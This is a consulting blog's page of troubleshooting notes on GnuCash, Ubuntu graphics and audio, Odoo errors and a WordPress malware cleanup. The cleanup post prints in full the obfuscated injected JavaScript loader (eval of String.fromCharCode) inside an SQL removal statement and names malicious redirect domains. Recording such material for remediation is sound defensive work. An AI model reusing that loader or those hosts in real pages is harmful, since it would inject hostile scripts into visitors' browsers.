Epilogic Consulting
  • About
  • Clients

Author: Rob Baxter

Gnucash Crashes opening Reports

  • By Rob Baxter
  • November 18, 2024November 18, 2024
  • Leave a comment
  • on Gnucash Crashes opening Reports
  • Uncategorized

Using gnucash 5.8 and 5.9
On Ubuntu 24.10
Fix:

  1. sudo apt install libwebkit2gtk-4.0-dev
  2. add “jammy” to end of suites line
  3. sudo apt upgrade
  4. sudo apt install libwebkit2gtk-4.0-dev
     

Ubuntu – Folders in Home Directory become broken links.

  • By Rob Baxter
  • September 26, 2023September 26, 2023
  • Leave a comment
  • on Ubuntu – Folders in Home Directory become broken links.
  • Uncategorized
Message in syslog:

2023-09-24T07:17:23.376397-07:00 EpiLTop4 snapd-desktop-integration.snapd-desktop-integration[2151]: /home/rbaxter/Music was removed, reassigning MUSIC to homedir

Message in syslog at time link was created: 
2023-09-23T21:40:01.135520-07:00 EpiLTop4 dbus-daemon[944]: [system] Activating via systemd: service name='org.freedesktop.hostname1' unit='dbus-org.freedesktop.hostname1.service' requested by ':1.189' (uid=1000 pid=11154 comm="/usr/bin/nautilus --gapplication-service" label="unconfined")
2023-09-23T21:40:01.166209-07:00 EpiLTop4 gnome-shell[2589]: Window manager warning: Buggy client sent a _NET_ACTIVE_WINDOW message with a timestamp of 0 for 0x2802c42
2023-09-23T21:40:01.166681-07:00 EpiLTop4 systemd[1]: Starting systemd-hostnamed.service - Hostname Service...

Ubuntu 22.02 Graphics Freezing

  • By Rob Baxter
  • September 8, 2022January 21, 2023
  • Uncategorized

Hardware: Lenovo Thinkpad P40 Yoga, Intel Intel HD 520 + Nvidia Quadro M500M (2GB DDR3)

GPU Hang
log shows:
i915 0000:00:02.0: [drm] GPU HANG: ecode 9:1:85dffffb, in gnome-shell [3088]

No problem when dual-booting into Windows

Solutions tried

      1. Kernel updated to: Linux 5.19.5-051905-generic x86_64
        (problem persists)

      1. a setting in the Lenovo bios. I changed graphics mode from “Switchable Graphics” to “Discrete Only”.
        (problem persists)

      1. nomodeset
        https://www.dell.com/support/kbdoc/en-ca/000123893/manual-nomodeset-kernel-boot-line-option-for-linux-booting?lang=en

    ahci.mobile_lpm_policy=1

    intel_idle.max_cstate=1 and/or i915.enable_dc=0

    GRUB line was
    “GRUB_CMDLINE_LINUX_DEFAULT=”acpi_osi=! acpi_osi=’Windows 2009′ quiet splash intel_iommu=off””

     

    4. Environment variable:

    Fixing GPU Hangs on Intel HD Graphics 520 (and maybe other iGPUs) from linux

    and sudo apt-get install libgl1-amber-dri

    and
    sudo apt-get install libegl-amber0

    and

    libglx-amber0

     

    Word Press Malware –

    • By Rob Baxter
    • April 29, 2020September 22, 2022
    • Uncategorized

    Problem: redirects to websites including donaldback….

    https://stat.trackstatisticsss.com/slan.js?
    https://ws.stivenfernando[.]com/kj.txt
    

    Solution:

    1. Make sure wp_options table contains the right content in the URL field. It should match the home field.
    2. Find code starting with “eval(String.fromCharCode(</p>” in wp_posts table and remove using:
    update `wp_posts` set 
    `post_content` = REPLACE (`post_content`, '<script type=text/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));</script>','')
    
    where `post_content` like '%<script type=text/javascript>eval(String.fromCharCode(%'
    
    

    To Check if all clear:

    SELECT * FROM `wp_posts` WHERE `post_content` like '%<script type=text/javascript>eval(String.fromCharCode%'

    3. Check if “ghost” administrators have been created:

    
    select * from wp_usermeta where meta_value LIKE '%administrator%';

    If so, remove records.

    Odoo Date_Range module Error

    • By Rob Baxter
    • April 2, 2018September 22, 2022
    • Open Source
    • Odoo

    Error on install attempt:

    Traceback (most recent call last):
    File "/usr/lib/python2.7/dist-packages/odoo/http.py", line 641, in _handle_exception
    return super(JsonRequest, self)._handle_exception(exception)
    File "/usr/lib/python2.7/dist-packages/odoo/http.py", line 683, in dispatch
    result = self._call_function(**self.params)
    File "/usr/lib/python2.7/dist-packages/odoo/http.py", line 333, in _call_function
    return checked_call(self.db, *args, **kwargs)
    File "/usr/lib/python2.7/dist-packages/odoo/service/model.py", line 101, in wrapper
    return f(dbname, *args, **kwargs)
    File "/usr/lib/python2.7/dist-packages/odoo/http.py", line 326, in checked_call
    result = self.endpoint(*a, **kw)
    File "/usr/lib/python2.7/dist-packages/odoo/http.py", line 941, in __call__
    return self.method(*args, **kw)
    File "/usr/lib/python2.7/dist-packages/odoo/http.py", line 506, in response_wrap
    response = f(*args, **kw)
    File "/usr/lib/python2.7/dist-packages/odoo/addons/web/controllers/main.py", line 895, in call_button
    action = self._call_kw(model, method, args, {})
    File "/usr/lib/python2.7/dist-packages/odoo/addons/web/controllers/main.py", line 883, in _call_kw
    return call_kw(request.env[model], method, args, kwargs)
    File "/usr/lib/python2.7/dist-packages/odoo/api.py", line 689, in call_kw
    return call_kw_multi(method, model, args, kwargs)
    File "/usr/lib/python2.7/dist-packages/odoo/api.py", line 680, in call_kw_multi
    result = method(recs, *args, **kwargs)
    File "/usr/lib/python2.7/dist-packages/odoo/addons/base/module/module.py", line 411, in button_immediate_install
    return self._button_immediate_function(type(self).button_install)
    File "/usr/lib/python2.7/dist-packages/odoo/addons/base/module/module.py", line 485, in _button_immediate_function
    modules.registry.Registry.new(self._cr.dbname, update_module=True)
    File "/usr/lib/python2.7/dist-packages/odoo/modules/registry.py", line 83, in new
    odoo.modules.load_modules(registry._db, force_demo, status, update_module)
    File "/usr/lib/python2.7/dist-packages/odoo/modules/loading.py", line 339, in load_modules
    loaded_modules, update_module)
    File "/usr/lib/python2.7/dist-packages/odoo/modules/loading.py", line 237, in load_marked_modules
    loaded, processed = load_module_graph(cr, graph, progressdict, report=report, skip_modules=loaded_modules, perform_checks=perform_checks)
    File "/usr/lib/python2.7/dist-packages/odoo/modules/loading.py", line 156, in load_module_graph
    _load_data(cr, module_name, idref, mode, kind='data')
    File "/usr/lib/python2.7/dist-packages/odoo/modules/loading.py", line 95, in _load_data
    tools.convert_file(cr, module_name, filename, idref, mode, noupdate, kind, report)
    File "/usr/lib/python2.7/dist-packages/odoo/tools/convert.py", line 839, in convert_file
    convert_csv_import(cr, module, pathname, fp.read(), idref, mode, noupdate)
    File "/usr/lib/python2.7/dist-packages/odoo/tools/convert.py", line 895, in convert_csv_import
    raise Exception(_('Module loading %s failed: file %s could not be processed:\n %s') % (module, fname, warning_msg))
    Exception: Module loading date_range failed: file date_range/security/ir.model.access.csv could not be processed:
    No matching record found for external id 'model_date_range' in field 'Object'
    Missing required value for the field 'Object' (model_id)
    No matching record found for external id 'model_date_range_type' in field 'Object'
    Missing required value for the field 'Object' (model_id)
    No matching record found for external id 'model_date_range' in field 'Object'
    Missing required value for the field 'Object' (model_id)
    No matching record found for external id 'model_date_range_type' in field 'Object'
    Missing required value for the field 'Object' (model_id)

    Problem:

    locale not consistent

    Solution:

    sudo dpkg-reconfigure locales

    (in my case chose “en_CA.utf8”).

    Odoo – Add Payment and Balance Lines to Invoice

    • By Rob Baxter
    • December 20, 2017September 22, 2022
    • Uncategorized

    Put the code below these lines in Invoice Template (qWeb):
    Total

    Here is the code:

    Payments

    Balance Owing

    No Audio With Ubuntu 16.10 after testing Pulse Audio

    • By Rob Baxter
    • March 5, 2017September 22, 2022
    • IT Open Source Ubuntu Uncategorized

    Hardware: Toshiba Tecra
    OS: Ubuntu 16.10

    Problem: No audio after installing Pulse Audio
    Solution:

  1. sudo apt-get remove –purge alsa-base pulseaudio
    rm -r ~/.config/pulse; pulseaudio -k
    sudo apt-get install alsa-base
  2. 2016-Jan Vancouver Real Estate Market Analysis

    • By Rob Baxter
    • February 4, 2016September 22, 2022
    • Uncategorized

    reinven

    • Gnucash Crashes opening Reports
    • Ubuntu – Folders in Home Directory become broken links.
    • Ubuntu 22.02 Graphics Freezing
    • Word Press Malware –
    • Odoo Date_Range module Error

    Archives

    • November 2024
    • September 2023
    • September 2022
    • April 2020
    • April 2018
    • December 2017
    • March 2017
    • February 2016

    Proudly powered by WordPress | Theme: Wpazure by Wpazure